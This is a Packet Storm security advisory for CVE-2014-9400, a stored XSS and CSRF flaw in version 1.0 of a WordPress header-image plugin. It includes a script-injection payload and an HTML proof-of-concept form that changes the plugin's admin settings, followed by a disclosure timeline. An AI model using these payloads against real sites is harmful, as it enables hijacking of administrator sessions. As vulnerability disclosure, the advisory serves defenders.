WordPress WP Unique Article Header Image 1.0 CSRF / XSS

Type packetstorm
Reporter Manideep K
Modified 2014-12-18T00:00:00


# Title: CSRF / Stored XSS Vulnerability in WP Unique Article Header Image Wordpress Plugin   
# Author: Manideep K   
# cve-id : CVE-2014-9400  
# Plugin Homepage: https://wordpress.org/plugins/wp-unique-article-header-image/  
# Version Affected: 1.0 (probably lower versions)  
# Severity: High   
# Description:   
Vulnerable Parameter: gt_default_header and gt_homepage_header  
# Vulnerability Class:  
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS))   
# About Vulnerability: This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin’s browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.   
# Steps to Reproduce: (POC):  
After installing the plugin  
1. Goto settings -> GT Unique Header Image  
2. Insert this payload “ "><script>alert(32)</script> “ into either or both of the fields "default post/page header image" and "home page header"   
Save settings and see XSS in action  
3. Visit settings page of this plugin anytime later and you can see the script executing as it is stored.   
Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below  
<form action="http://localhost/wordpress/wp-admin/options-general.php?page=wp-unique-article-header-image/wp-unique-header.php" method="POST">  
<input type="hidden" name="setting" value="true" />  
<input type="hidden" name="gt_default_header" value="csrf attack" />  
<input type="hidden" name="gt_homepage_header" value="hi" />  
<input type="hidden" name="gt-header-option-submitted" value="Save Settings » " />  
<input type="submit" value="Submit request" />  
# Mitigation:   
Plugin closed  
# Disclosure:  
2014-11-06: Author notification  
2014-11-20: WP Team action taken by closing the plugin as there is no response from author  
2014-12-09: Public Disclosure  
# Credits:  
Manideep K  
Information Security Researcher